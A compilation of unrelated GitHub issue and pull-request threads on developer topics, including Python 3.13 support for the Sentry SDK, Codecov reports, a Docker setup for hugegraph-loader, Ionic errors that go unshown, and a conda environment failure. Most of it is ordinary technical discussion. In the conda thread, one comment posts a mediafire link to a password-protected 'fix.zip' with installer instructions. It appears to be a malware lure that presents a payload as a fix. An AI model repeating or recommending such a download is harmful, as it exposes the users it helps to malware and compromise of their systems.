Support Python 3.13 (coming Oct 2024)

Problem Statement
Python 3.13 is scheduled for release in October 2024.
The first RC will be out in July, the second one in September.
Solution Brainstorm
Prepare for 3.13 so that the SDK is compatible by release time.

I started building python3-sentry-sdk on Fedora 41, which will come with Python 3.13, and encountered some issues. Some Sentry SDK dependencies do not support Python 3.13 yet:
https://github.com/celery/kombu/issues/2051
https://github.com/gevent/gevent/issues/2037
https://github.com/python-jsonschema/jsonschema/issues/1264
I also created patches for the Sentry SDK itself; look for "Python 3.13" in https://src.fedoraproject.org/rpms/python-sentry-sdk/pull-request/10#request_diff. I want them to be included in the Sentry SDK. I saw you have https://github.com/getsentry/sentry-python/pull/3200 already. What is the most convenient way to submit PR(s)? Should I open PR(s) into master without testing them on Python 3.13, should I open PR(s) into your branch ivana/python-3.13, or should I base my PR(s) on top of yours in master?

Hey @rominf, first of all thank you for the fixes. I'd say let's go with PRs against the ivana/python-3.13 branch for now so that we have everything tested eventually (once we manage to get the test suite to run -- looks like pytest 8.2.1 works with 3.13, but e.g. pytest-asyncio doesn't yet).

Thanks @rominf!


added e2e tests for /prices

What kind of PR is this?:

/kind chore
What this PR does / why we need it:
Added E2E tests for /prices.
This PR also updated the icon used in PriceFeed.

Codecov Report

Merging #187 (653f2ab) into main (a184e6c) will increase coverage by 5.15%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             main     #187      +/-   ##
==========================================
+ Coverage   71.92%   77.07%   +5.15%
==========================================
  Files          34       39       +5
  Lines         317      397      +80
  Branches       72       96      +24
==========================================
+ Hits          228      306      +78
  Misses         84       84
- Partials        5        7       +2

Impacted Files
Coverage Δ

src/components/commons/Breadcrumb.tsx
64.28% <ø> (ø)

src/components/prices/PriceFeed.tsx
13.33% <ø> (+13.33%)
:arrow_up:

src/components/prices/PriceOracleTable.tsx
86.66% <ø> (ø)

src/components/prices/PriceTickerDetail.tsx
75.00% <ø> (ø)

src/components/prices/PriceGraph.tsx
90.32% <0.00%> (ø)

src/pages/prices/[symbol].tsx
100.00% <0.00%> (ø)

src/layouts/components/Header.tsx
85.71% <0.00%> (+5.71%)
:arrow_up:

... and 5 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a184e6c...653f2ab. Read the comment docs.


implemented first pass at a PipeTo(Sender) CodeFixer

https://github.com/dotnet/roslyn-sdk/issues/733


[Improvement] Iceberg REST server supports dynamic config for metalake

What would you like to be improved?
Currently, IRCS can automatically proxy a Gravitino Iceberg catalog under a metalake, but the metalake config is static, which means that every time a new metalake is created, a new IRCS needs to be started. I think the metalake config should also be dynamically fetched from Gravitino
How should we improve?
No response

I would like to work on it


ci(docs): automated accessibility insights tests

[ ] should crawl in to pages

action fails visiting shadowed links
https://github.com/microsoft/accessibility-insights-action/issues/1216


Replace sw.js with service-worker.js

By default the WorkboxPlugin.GenerateSW will generate a "service-worker.js" file.
However this can be changed by adding "swDest: 'sw.js'" to options.
More here: https://developers.google.com/web/tools/workbox/guides/codelabs/webpack

@gmincof Hi! Your fork does not longer exist. Could you please open a new PR?
Thanks!

Closing in favor of https://github.com/webpack/webpack.js.org/pull/1974


add cs operator and odlm in nss annotation

related issue: https://github.ibm.com/IBMPrivateCloud/roadmap/issues/57130


yaml format for tag values

This is an excellent reference page, however there arent any examples of how to include values for the 'tags' item.
In the existing document we see:
tags: null
But if someone wanted to include tag values, we dont see how to accomplish that. After experimenting a bit, I found that using this syntax  works:
tags: {tagname1:tagvalue1, tagname2:tagvalue2, tagname3:tagvalue3}

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 03e645be-5677-9b0b-049e-4b579a5da1af
Version Independent ID: 36f94f65-128d-f973-ec19-3f3e11b2a405
Content: Tutorial - Deploy multi-container group - YAML - Azure Container Instances
Content Source: articles/container-instances/container-instances-multi-container-yaml.md
Service: container-instances
GitHub Login: @dlepow
Microsoft Alias: danlep

@deetoo Thanks for the feedback. I'll look into updating the doc.

I've initiated a PR to update the doc. I'm going to close this issue now. Thanks again for the feedback.


Noticeable lag when connecting a repository and navigating to the account tab

After adding an account, if I go back and add a repository, if I switch to the Account tab there is a clear, variable lag, likely caused by the web API call blocking the UI thread.

Fixed with #1088


MFA Registration Enforcement - Refresh Tokens

Hi,
While Security Defaults will require users to register for MFA on next interactive login (as mentioned under the Require all users to register for Azure AD Multifactor Authentication section), I think it would be prudent to call out that non-interactive sessions will continue to function without enforcing MFA registration.
As I understand it, at the time of enabling Security Defaults, users who already have applications configured with non-interactive logins (i.e., Outlook mobile app), will continue to function without forcing the user to enroll into MFA. This could lead to a false sense of security regarding MFA uptake.
Can a note be added to the Require all users to register for Azure AD Multifactor Authentication section explaining this, and perhaps suggesting that existing tokens should be manually revoked (Revoke-AzureADUserAllRefreshToken)?
Thanks for any input.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: cfac0ecf-e5a9-c5ff-f8c2-ce27789708f5
Version Independent ID: 0f5e0cc9-a54f-a5c8-192d-d60a6a4db3ff
Content: Providing a default level of security in Azure Active Directory - Microsoft Entra
Content Source: articles/active-directory/fundamentals/concept-fundamentals-security-defaults.md
Service: active-directory
Sub-service: conditional-access
GitHub Login: @MicrosoftGuyJFlo
Microsoft Alias: joflore

@bgre033
Thanks for your feedback! We will investigate and update as appropriate.

@MicrosoftGuyJFlo
Could you please review add comments on this, update as appropriate.

Thanks @MicrosoftGuyJFlo, what is the linked PR?


Cannot create simple environment with custom environment.yml file

I'm trying to create conda environment using custom environment file with setup-miniconda action and I fail.
My github aciton file looks the following:
name: my-conda-env

on: pull_request

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    - uses: conda-incubator/setup-miniconda@v3
      with:
        activate-environment: my-conda-env
        environment-file: conda-env.yml
        python-version: 3.10
        auto-activate-base: false

I've created the following environment file:
name: my-conda-env
channels:
  - defaults
dependencies:
  - python=3.10
  - pip:
    - numpy==1.26.3
    - pandas==2.1.4

However, when I run Github workflow I get the following error:
  PackagesNotFoundError: The following packages are not available from current channels:

    - python[version='3.1.*,3.10.*']

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Can you remove the Python version from either the environment.yml or the setup-miniconda inputs?

Change python-version: 3.10 to python-version: "3.10"

It seems both solution suggested by @jaimergp and @kbonney work. Thanks!


Schedule for shutdown

Is there a way to setup schedule for shutdown?
I'd like the box to shut down itself in the evening (or at certain times).
At the moment it is connected to a TP-Link Smart Plug which turns the box off and on. This is only power on/off without shutting down. I would like to avoid that.
I think this would be a nice feature... similar to the Smart Plug Schedule

Thank you

you could use this from the command line:
sudo shutdown -h 03:30
(or google cron job shutdown)
or use hardware:
https://www.lifehacker.co.uk/2015/11/20/how-to-boot-and-shut-down-your-raspberry-pi-safely-and-more-effectively
http://www.uugear.com/product/witty-pi-3-realtime-clock-and-power-management-for-raspberry-pi/

Hi @oneshow01
nice feature request. I will see if I find time to do that. The shutdown options available at the moment are only

stop player after x minutes
shutdown after x minutes
shutdown after x minutes of idle time
@dnmtch pointed you to the right searches. Thanks for that.

If you already have a smart home solution you might also choose to use the mqtt module and shut down your phoniebox from your smart home server.
https://github.com/MiczFlor/RPi-Jukebox-RFID/wiki/Smart-Home-remote-control-with-MQTT

So is there any progress in this request? Especially the one “shutdown down after idle time” to safe battery? Something like “after 15 min without any song played shutdown?”

So is there any progress in this request? Especially the one “shutdown down after idle time” to safe battery? Something like “after 15 min without any song played shutdown?”

That is exactly what the idle shutdown is doing. Set the idle timer to 15 min and you got what you asked for.

 After having some
Installation problems (see other thread) and using some old versions for a while I didn’t realize this cool and helpful new feature! Sorry for this...

Already implemented in V2.
Implementation for V3 will be tracked in #1970 (scheduled forv3.6)


Add mono models to huggingface model-zoo and incorporate into pipeline

I feel like the model in the model-zoo is missing the vocab file?

I feel like the model in the model-zoo is missing the vocab file?

Is this because we are using t5-base as tokenizer?

https://huggingface.co/valhalla/t5-base-squad#list-files compare this with our list-files and it seems like our model is missing a few!

Currently in construct_t5()

we load model by T5ForConditionalGeneration.from_pretrained("castorini/monot5-base-msmarco").
we load tokenizer by AutoTokenizer.from_pretrained("t5-base")
which from different models on HuggingFace.

I think the missed files are from tokenizer.(e.g. config file and  spiece.model or vocal file). The pretrained model itself doesn't require these files
2020-05-24 02:04:42 [INFO] configuration_utils: loading configuration file https://s3.amazona
ws.com/models.huggingface.co/bert/t5-base-config.json from cache

2020-05-24 02:04:42 [INFO] tokenization_utils: loading file https://s3.amazonaws.com/models.huggingface.co/bert/t5-spiece.model from cache

Do we need to find a way to integrate the pretrained tokenizer files to our model files?

I don't think we need default='false' if action='store_true'. Could you double-check?

Yes, it can be removed.

revalidated experiment result on latest update
monot5

monoBERT

Great! We can merge this. Thanks for doing this @MXueguang


Can we add custom features in spark pipeline and serialize it? If yes then share an example

@mtsol You can find an example here https://mleap-docs.combust.ml/mleap-runtime/custom-transformer.html, let me know if you have any further questions.

Closing this issue for now, please let me know if you have any further questions!


Optimized + Updated class name

Updated the selector for the header element (since Spotify changed a bunch of class names AGAIN).
Made the css var local to the header so the entire document isn't being modified every second (which also fixes the issues which arise when trying to use the devtools inspector while this extension is enabled).

Thank you very much!


replace dependency to cx_transformation_error with cx_root

https://github.com/larshp/abapGit/blob/6560cbe539d366a850abf9568007bb0261504c90/src/xml/zcl_abapgit_xml_input.clas.abap#L75

nah, doesnt really matter, closing


Question : is it possible to do bodyPatterns matching on just a regex ?

I want to match a POST request with application/x-www-form-urlencoded data like:
grant_type=password&username=test&password=pwd
I tried:
"response": {
    "status": 200,
    "bodyPatterns": [ {
            "matches": ".username=(test)&."
        }
],
. . .

But I get a 500 error?
Is it possible to just match on plain text ? (So no JSON and no XML) matching?
See also this http://stackoverflow.com/questions/41279540/request-body-matching-in-wiremock-not-json-xml

Sorry my bad, I  need to put the bodyPatterns in the request:
{
  "request": {
  "method": "POST",
    "url": "/authorize/oauth2/token",
    "bodyPatterns": [ {
          "matches": ".username=(test)&."
      }
    ]
  },
  "response": {
    "status": 200,
    . . .

Closing


Tdr 2649 update controller and html to create descriptive page

Closing this PR as has been superseded by other changes.


[Question]: how to combine a chunk summary along with the chunk for the retrieval engine to answer

Question Validation

[X] I have searched both the documentation and discord for an answer.

Question
Is there a way i can add in chunk summary as metadata or maybe rhe actual chunk and then combine both chunk and summary to get the answer? also how can i add possible questions a chunk can answer and efficiently use it to answer the query

@JINO-ROHIT we have metadata extractors exactly for this
https://docs.llamaindex.ai/en/latest/module_guides/loading/documents_and_nodes/usage_metadata_extractor/?h=metadata+ex
Furthermore, you could manually attach them as metadata, and specify what pieces of metadata to exclude for embeddings, the LLM calls, or both
https://docs.llamaindex.ai/en/latest/module_guides/loading/documents_and_nodes/usage_documents/?h=customizing#advanced-metadata-customization


Allow execute function to run without writing anything on filesystem

In other words compile server could work without writing anything on the fs, it is achievable if out/meta.json was served from memory when not on filesystem.

Done in https://github.com/jsenv/jsenv-core/pull/162


Classes that break into multiple lines creates large negative space

If you have a class list that ends up breaking to multiple lines, you end up with a large negative space in your editor screen.

Is there anyway to shrink all of that space down to a single line, when folded?

Could you also share the unfolded code? Helps to reproduce the issue

@zacksmash Interesting that it works on multi-line class lists, I came here wondering how to do that. I have this markup which doesn't fold at all.
<span
  className={`
    absolute
    -mt-px
    grid
    place-content-center
    font-semibold
    text-white
  `}
/>

Unfolded:

Folded:

<button
  type="button"
  class="inline-flex w-full justify-center rounded-md bg-indigo-600 px-3 py-2 text-sm font-semibold text-white shadow-sm hover:bg-indigo-500 focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-indigo-600 sm:col-start-2"
>
  Deactivate
</button>

@zacksmash Just curious have you toggled word-wrap on? Because I am unable to reproduce the issue.

@mzrokz Yes, I use wrapping in my editor.

+1 would be very nice to fold away the large negative space when word wrapping is enabled.

Encountered this also thanks


feat: support docker for loader

Purpose of the PR

support docker for hugegraph-loader

Main Changes

Dockerfile for loader
an example docker-compose for loader

usage
(add the usage to README and doc later)
current test image is  dandelionivy/loader
cd hugegraph-loader/docker/example/
docker-compose up -d
docker exec -it loader bash

sh bin/hugegraph-loader.sh -g hugegraph -f example/file/struct.json -s example/file/schema.groovy -h graph -p 8080

It should be like:
user@LAPTOP-MRGBSP9S:~/incubator-hugegraph-toolchain/hugegraph-loader/docker/example$ sudo docker-compose up -d
Creating graph  ... done
Creating loader ... done
Creating hubble ... done
user@LAPTOP-MRGBSP9S:~/incubator-hugegraph-toolchain/hugegraph-loader/docker/example$ sudo docker ps
CONTAINER ID   IMAGE                 COMMAND                  CREATED              STATUS              PORTS                                         NAMES
59f431e622d0   hugegraph/hubble      "./bin/start-hubble.…"   About a minute ago   Up About a minute   <IP_ADDRESS>:8088->8088/tcp, :::8088->8088/tcp     hubble
55360d18f7d7   dandelionivy/loader   "/usr/bin/dumb-init …"   About a minute ago   Up About a minute                                                 loader
35b3feefc8bf   hugegraph/hugegraph   "/usr/bin/dumb-init …"   About a minute ago   Up About a minute   <IP_ADDRESS>:18081->8080/tcp, :::18081->8080/tcp   graph
user@LAPTOP-MRGBSP9S:~/incubator-hugegraph-toolchain/hugegraph-loader/docker/example$ sudo docker exec -it loader bash
root@55360d18f7d7:/loader# sh bin/hugegraph-loader.sh -g hugegraph -f example/file/struct.json -s example/file/schema.groovy -h graph -p 8080
...
vertices/edges loaded this time : 8/6
--------------------------------------------------
count metrics
    input read success            : 14
    input read failure            : 0
    vertex parse success          : 8
    vertex parse failure          : 0
    vertex insert success         : 8
    vertex insert failure         : 0
    edge parse success            : 6
    edge parse failure            : 0
    edge insert success           : 6
    edge insert failure           : 0
--------------------------------------------------
meter metrics
    total time                    : 0.199s
    read time                     : 0.046s
    load time                     : 0.153s
    vertex load time              : 0.077s
    vertex load rate(vertices/s)  : 103
    edge load time                : 0.112s
    edge load rate(edges/s)       : 53
root@55360d18f7d7:/loader#

Then we can see the result in hubble:

Verifying these changes

[ ] Trivial rework / code cleanup without any test coverage. (No Need)
[ ] Already covered by existing tests, such as (please modify tests here).
[x] Need tests and can be verified as follows:

my test docker image is here dandelionivy/loader

Does this PR potentially affect the following parts?

[x]  Nope
[ ]  Dependencies (add/update license info)
[ ]  Modify configurations
[ ]  The public API
[ ]  Other affects (typed here)

Documentation Status

[x]  Doc - TODO
[ ]  Doc - Done
[ ]  Doc - No Need

Hi, @aroundabout, thanks for your outstanding efforts on this issue, i test locally and find some issues.
Firstly, i try to build the image locally but fails.
(base) kirin@kirinbiotech:~/lx/incubator-hugegraph-toolchain$ docker build -t hg-loader:1.0 hugegraph-loader/

Then, i use loader image from here: https://hub.docker.com/r/dandelionivy/loader/tags

kirin@kirinbiotech:~/lx/incubator-hugegraph-toolchain/hugegraph-loader/assembly/static$ docker exec -it loader bin/hugegraph-loader.sh -g hugegraph -f example/file/struct.json -s example/file/schema.groovy -p 8080 -h <IP_ADDRESS>

but still fails to load data.

Hi, @aroundabout, thanks for your outstanding efforts on this issue, i test locally and find some issues.
Firstly, i try to build the image locally but fails.
(base) kirin@kirinbiotech:~/lx/incubator-hugegraph-toolchain$ docker build -t hg-loader:1.0 hugegraph-loader/

Then, i use loader image from here: https://hub.docker.com/r/dandelionivy/loader/tags

kirin@kirinbiotech:~/lx/incubator-hugegraph-toolchain/hugegraph-loader/assembly/static$ docker exec -it loader bin/hugegraph-loader.sh -g hugegraph -f example/file/struct.json -s example/file/schema.groovy -p 8080 -h <IP_ADDRESS>

but still fails to load data.

How to build locally
try docker build -f hugegraph-loader/Dockerfile hg-loader .
The question is caused by server https://github.com/apache/incubator-hugegraph/issues/2346. The PR to fix it has been opened https://github.com/apache/incubator-hugegraph/pull/2347

How to build locally
try docker build -f hugegraph-loader/Dockerfile hg-loader .
Because loader depends on client and the client-1.0.0 in maven repo does not have some methods like 'istext()', so we should build client locally in dockerfile. Hence, the docker build context should be root path

Thanks for your details explain, i see.
docker build -f hugegraph-loader/Dockerfile hg-loader .

seems fails too? And does it need to be added to the readme?

How to build locally
try docker build -f hugegraph-loader/Dockerfile hg-loader .
Because loader depends on client and the client-1.0.0 in maven repo does not have some methods like 'istext()', so we should build client locally in dockerfile. Hence, the docker build context should be root path

Thanks for your details explain, i see.
docker build -f hugegraph-loader/Dockerfile hg-loader .

seems fails too? And does it need to be added to the readme?

Sorry, I forgot an argument. XD
docker build -f hugegraph-loader/Dockerfile -t hg-loader .
It can works now.

How to build locally
try docker build -f hugegraph-loader/Dockerfile hg-loader .
Because loader depends on client and the client-1.0.0 in maven repo does not have some methods like 'istext()', so we should build client locally in dockerfile. Hence, the docker build context should be root path

Thanks for your details explain, i see.
docker build -f hugegraph-loader/Dockerfile hg-loader .

seems fails too? And does it need to be added to the readme?

Sorry, I forgot an argument. XD
docker build -f hugegraph-loader/Dockerfile -t hg-loader .
It can works now.

works!


Export sampling params and update llama_processor

sorry for the commit spam, ready to merge now

should I merge or there this is still WIP?

Yeah merge it
With regards,
Dane Madsen

From: adel boussaken @.>
Sent: Wednesday, January 31, 2024 10:36:59 PM
To: netdur/llama_cpp_dart @.>
Cc: Dane Madsen @.>; Author @.>
Subject: Re: [netdur/llama_cpp_dart] Export sampling params and update llama_processor (PR #14)
should I merge or there this is still WIP?
—
Reply to this email directly, view it on GitHubhttps://github.com/netdur/llama_cpp_dart/pull/14#issuecomment-1919024195, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ACYA2IZW4WFHCECQAHD5GK3YRI3GXAVCNFSM6AAAAABCSTK4CWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTSMJZGAZDIMJZGU.
You are receiving this because you authored the thread.Message ID: @.***>


Errors not shown on Mac OSX -> blank/white screen in iOS or the app fails silently

Short description of the problem:
When there's an error in the code (JavaScript/TypeScript/HTML) it is not displayed in the console.
What behavior are you expecting?
A error should be displayed in the console to indicate that something is wrong with details about the cause.
Steps to reproduce:

Make sure to test on Mac OS X El Capitan.
Start a new project: ionic start TestAppJS blank --v2.
Replace the content of home.js with the code below.
Run ionic serve.
Observe that no error is shown in the console.

// NOTE: Intentionally not importing Storage so that an exception is thrown.
import {Page, NavController, SqlStorage} from 'ionic-angular';

@Page({
  templateUrl: 'build/pages/home/home.html'
})
export class HomePage {
  static get parameters() {
    return [[NavController]];
  }
  constructor(nav) {
    this.db = new Storage(SqlStorage);
  }
}

Other information: (e.g. stacktraces, related issues, suggestions how to fix, stackoverflow links, forum links, etc)

Related issues: #6217, #6253, #6259 (all of them with various error causes but the same end result - no error is shown, when it should be - and all of them on Mac OS X)

Forum links:

https://forum.ionicframework.com/t/simple-sqlstorage-setup-breaks-with-no-stacktrace/50670
https://forum.ionicframework.com/t/white-screen-for-ios-only/50802
https://forum.ionicframework.com/t/ionic-2-error-not-showing-in-nav-push-somepage/49418

Which Ionic Version? 2.x
Plunker that shows an example of your issue
Not reproducible in Plunker - seems to be a platform-specific issue (Mac OS X)
Run ionic info from terminal/cmd prompt: (paste output below)

NOTE: The info below is summarized across all reports and related issues.

Cordova CLI: 6.1.1 / Not installed
Ionic Framework Version: 2.0.0-beta.4 / beta.5 / beta.6
Ionic CLI Version: 2.0.0-beta.17 / beta.24 / beta.25
Ionic App Lib Version: 2.0.0-beta.8 / beta.14 / beta.15
OS: Mac OS X El Capitan (all of them)
Node Version: v4.2.2 / v4.4.3 / v5.1.1 / v5.8.0 / v5.10.1
Xcode version: Xcode 7.2 / 7.3 / Not installed

This is an extension of the discussion on #6217. Hey @iignatov ! I cant seem to reproduce this on osx El Capitan with the latest chrome canary or firefox.

@jgw96 After some research I guess that it might be reproducible only in a WebKit-browsers, e.g. Safari.

@iignatov Im wondering if this might have something to do with the dev tools in safari not supporting promise inspection. Will have to do some testing today. Thanks for all the info!

@jgw96 I believe that it's actually a feature of Chrome (and maybe Firefox) to log the unhandled errors in Promises. This would explain why the behavior is not reproducible in Chrome/Firefox on any OS. I guess that WebKit/Safari sticks to the default/expected behavior and just swallows the unhandled errors.

Not sure if it's related, but I had a in import 'es6-shim'; in app.js  it caused alot of errors to get swallowed.

@epetre Were you using chrome to test or safari?

I was on Chrome and OSX, yes.

@epetre You shouldn't have import 'es6-shim'; in app.js. It will also break the change detection if you add it in there. Check out the following guide to make sure that you updated to beta.6 correctly.

@epetre @iignatov is correct, sorry i should have mentioned that earlier.

Also, @iignatov , so i just did some testing with safari, and errors are showing up fine for me. So it seems  that, unfortunately, i cant reproduce this issue with any browser.

@jgw96 Ok, great, I guess that the bug was fixed in beta.6 then. Most probably the people that are still experiencing issues with beta.6 haven't performed the update correctly. Let's close the issue for now.

@jgw96  that's what I think too, in my case at least.


Bug : ViewmodelProvider returns different instance of VM for Activity and Fragment

Support lib v7:26.1.0
Architecture components beta2
VM created in Activity using
stockcheckViewModel = ViewModelProviders.of(this).get(StockcheckViewModel.class);
And in fragment (from onCreateView)
stockcheckViewModel = ViewModelProviders.of(getActivity()).get(StockcheckViewModel.class);
Fragment created in activity using getSupportFragmentManager()
Stepping through the code it seems that the ViewModelProvider creates a different stores instance for the Activity and Fragment
https://stackoverflow.com/questions/46574672/lifecycle-viewmodel-not-shared-between-activity-and-fragments

in your samples, i don't see where initViewModel is called. If you are calling it before onCreate, you might end up in this situation.

Please file issues with ViewModel on the issue tracker with a sample project that reproduces your issue.


Documentation differs from what is seen in reality

Documentation appears out of date. there is no "Site" option in the "add existing" menu in my power pages development portal.
I have posted about it here, including screenshots:
https://powerusers.microsoft.com/t5/General-Discussions/Cannot-add-power-pages-site-to-a-solution/m-p/2176574#M3162

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 6c5f7113-9544-1bd9-aebe-2cd10ff9273b
Version Independent ID: 6c5f7113-9544-1bd9-aebe-2cd10ff9273b
Content: Using solutions with Power Pages
Content Source: power-pages-docs/configure/power-pages-solutions.md
Service: power-pages
GitHub Login: @GitanjaliSingh33msft
Microsoft Alias: gisingh

Thank you for your feedback, for the site option to appear, you will need to have a least one website that was created using the enhanced data model. Documentation has been updated.


bots log out after loading Playlist

tryed 3 bots, 2 with different yt-playlist and 1 had a soundcloud-playlist. list was fully loaded and bot went of server.

Please run bot again with debug parameter and try to do this again and post error log.
Thanks for report.


Documentation:  Clarification on documentation of compute_duration()

Please select a category the issue is focused on?
Function Documentation
Let us know where something needs a refresh or put your idea here!
Kindly wanted to check regarding the note which has to be added for compute_duration(), Should I replace derive_vars_dt() with convert_dtc_to_dt() as I think it makes more sense with the later one as we are just deriving duration so I believe no need of new xxDT and xxDTF variables which we will get from derive_vars_dt(). Could you please let me know your suggestions.
Referencing Issue #889.

Maybe we should mention both functions as it depends on the context which one is more suitable. If I have several compute_duration() calls, I would call derive_vars_dt() in a pre-processing step. While I would use convert_dtc_to_dt() if it is just a single compute_duration() call.
@bms63 , @thomas-neitmann , what do you think?


When I use the example of Static Image.  The image will rotate Math.PI/2. When the extent is [0, 0, 1024, 768], while image size is [768, 1024].

var extent = [0, 0, 900, 700];
var projection = new ol.proj.Projection({
  code: 'xkcd-image',
  units: 'pixels',
  extent: extent
});

var map = new ol.Map({
  layers: [
    new ol.layer.Image({
      source: new ol.source.ImageStatic({
        attributions: '© xkcd',
        url: 'http://dev-temp.oss-cn-beijing.aliyuncs.com/shared/real-picture/a6748fb63dde9207f968178034a9becc_6440F8FBBB452A4AFE55581AB92EF4E4.jpg',
        projection: projection,
        imageExtent: extent
      })
    })
  ],
  target: 'map',
  view: new ol.View({
    projection: projection,
    center: ol.extent.getCenter(extent),
    zoom: 2,
    maxZoom: 8
  })
});

Some images are 700*900, but some of them are 900*700. How should I do to solve this problem. I just don't want the view rotate.

Sorry, it is totally unclear to me what you are asking. It also seems you'd be better off asking such questions on Stack Overflow.

@ahocevar The question is when the extent dosen't fit to the image size. The image will rotate what I don't want to.


add compute jobs

On the market, https://github.com/oceanprotocol/market/issues/338 states that we should get the compute history from The Graph. But we can't rely on existing tokenOrders for that, see https://github.com/oceanprotocol/market/pull/462#issuecomment-811764879
So if we want to replace the expensive provider calls when doing ocean.compute.status we would need a way to get all compute jobs for a given account from the subgraph.
But if I got this right, starting a compute job in itself does not create an on-chain transaction, but only asks user for a signature. So this might make https://github.com/oceanprotocol/market/issues/338 not feasible altogether.

This can't be done. I'll comment on the issue the solution


Update changelog, fix docstings

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 98.379%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
607

Relevant Lines:
617

💛  - Coveralls


add hint in find function

add hint in find function, so we can get result faster
another question: Why odmantic's model find function use motor's aggregate instead of find?

Since there is not really the index support yet, it's probably not the best time to add this feature.
If you want to draft a PR, it wouldn't be a problem :grinning:

Why odmantic's model find function use motor's aggregate instead of find?
The main benefit of using an agregation pipeline is to be able to get all the documents (even the referenced ones) in one single query.


added image compression

I just have some semi-random values in the restapi because I'm not sure what the max allowed size should be. I saw digest() in dht/utils so I hope that adding the image compression there is fine as well.

Image sizing and compression is already being added on the client side, should we doing it again here?

Ah ok, last I checked it wasn't being done client-side. I've been out of it for a bit. I'll let it go client side, if you want it server side as well it's all finished and tested in many ways.
But it's weird that checks failed cause of Syntax, everything works as of 5 different tests and passes pylint too, hopefully nothing broke in my git failure adventures.


create a clusteroperator empty object so the CVO waits for the registry operator

needed to ensure the CVO waits for the registry operator to be available before completing an install/upgrade.

/hold
i'm concerned about this potentially causing install failures (in cases where the registry operator does not successfully get to available=true), so i want to sit on it for a bit.


Add possibility to hide validation error

Description
It would be great if we would be able to disable the validation message. The message is displayed without background and maybe over other elements.
It seems that it is already implemented for <px-datetime-field> with the showValidationMessage property. This property is also available as protected one in the <px-datetime-range-field> implemented by the <px-rangepicker>.
Screenshots

The px-rangepicker, px-datetime-range-field, and px-datetime-fieldall require that there is room in the implementation for the validation to be displayed correctly. The background is transparent by default since we cannot predict what color background these components will be on. There is a css variable to set a background if absolutely necessary --px-datetime-field-background-color.
We do understand that in some small cases the way validation is displayed will not work. Because of this I have exposed a hideValidationMessages property in order to hide the default display of the validation messages. Using this property is not recommend as it goes against the design of the component. I recommend before using this property that you revaluate your design and how this component is being displayed. Also if you use this property you will then have to implement your own way to display the validation message.
The css variable was added in v1.0.4 of px-datetime-field
The hideValidationMessages property was add in v1.1.0 of px-datetime-range-field and v1.1.0 of px-rangepicker


Fix extension build instructions

The instructions for building the extension from source are incorrect since yarn is instructed for installation inside of the package directory instead of the root directory. This PR fixes that issue while simplifying the build commands using npm scripts.

Should I nuke the yarn.lock and regenerate?


Formating generated output

When we use this generator the output is formatted according to its own prettier rules.
When the generated code ends up in our project, that has different rules, we see the diff on every generation as local changes.
Is there a way to avoid this behavior such as:

load project prettier rules
add a hook after generation so we can run prettier --write . or similar command
add an option to enable/disable the generator
another solution

-export class ConnectCampaignDto {
-  id?: string
-  slug?: string
-}
+  export class ConnectCampaignDto {
+    id?: string;
+slug?: string;
+  }

the editor itself doesn't have any post-generate hooks.
What I do (also with other generators) is to combine my generate commands with && prettier src/generated/**/*.ts --write.
If you're relating to the automatic run of generator with npm install, I don't think you can disable individual generator entries from your prisma.schema. However, you can add a postinstall script to your package.json, running prettier


AdGuard doesn’t work with Safari when in jailbroken state

When using AdGuard Pro in jailbroken state, I keep getting all kinds of errors trying to update or add/remove filters. It works just fine when in stock OS.
“Reload System Daemons” is on, and RocketBootStrap is not installed.
https://i.imgur.com/5Kyme57.png
⚪ I have a useful screenshot that shows the full log(After pressing the view log button) and will post it.
⚪ I have exported my Diagnostics file immediately after jailbreak failed or succeeded and will post it.
🔘 I have checked other issues to make sure its not a duplicate issue.
🔘 I am using the latest unc0ver beta.
🔘 I have checked to see if my device and iOS version are supported.
🔘I can accurately describe the issue in the description and maintain a descriptive but short title.
🔘 I will not have more than one issue actively open at once.
🔘 I will not be entitled, spam, or use ??? or !!!.

Ok so I restored RootFS and installed no tweaks at all, but The issue is still persistent unfortunately.

Issue still persistent after b39

This is not a code-level issue with unc0ver, and there’s nothing we can do about this. please wait for the tweak to be updated.

@samgisaninja it’s not a tweak, it’s an app from the AppStore. This issue only occurs when I’m in the Jailbreak state for some reason

@Samgisaninja it’s not a tweak, it’s an app from the AppStore. This issue only occurs when I’m in the Jailbreak state for some reason

you have to install jailbreak detection bypass tweak , its not issue from #Uncover Error :D

@AppleNati0n hmm I’ve tried liberty lite but that didn’t work. Any idea?

@AppleNati0n hmm I’ve tried liberty lite but that didn’t work. Any idea?

same here because @umanghere his tweak is not updated , wait and watch :D :P


Build fails for out of memory on bionic-based systems with less than 3GB of RAM and without swap.

Component
Forge
Have you ensured that all of these are up to date?

[X] Foundry
[X] Foundryup

What version of Foundry are you on?
v1.0.0
What command(s) is the bug in?
No response
Operating System
Linux
Describe the bug
Oh, cargo goes simply out of memory at link time. I was wondering if it was available an option to dilute memory usage even though I doubt there will be.
I suppose I should rebuild Android kernel to enable some swap if I want to build it bare-metal.

Mmm, it seems v1.0.0 tag is no more.
Well, anyway the issue arises also with latest nightly.
The build script I use to build on the Life / DogeOS Android base is [here[(https://github.com/themartiancompany/foundry-ur) btw.

Ok no actually it doesn't build not even on the x86_64 GNU/Linux environment.
Here is the log but I suppose I should open a new issue.
build.log

@DaniPopes could you pls share your thoughts re this?


Docs: add warining about possible memory leaks while using native mod…

Currently callbacks passed to native method are stored in MessageQueue and will be removed after invocation, so to avoid memory leak in js-side the passed callback(s) must be invoked by native method.
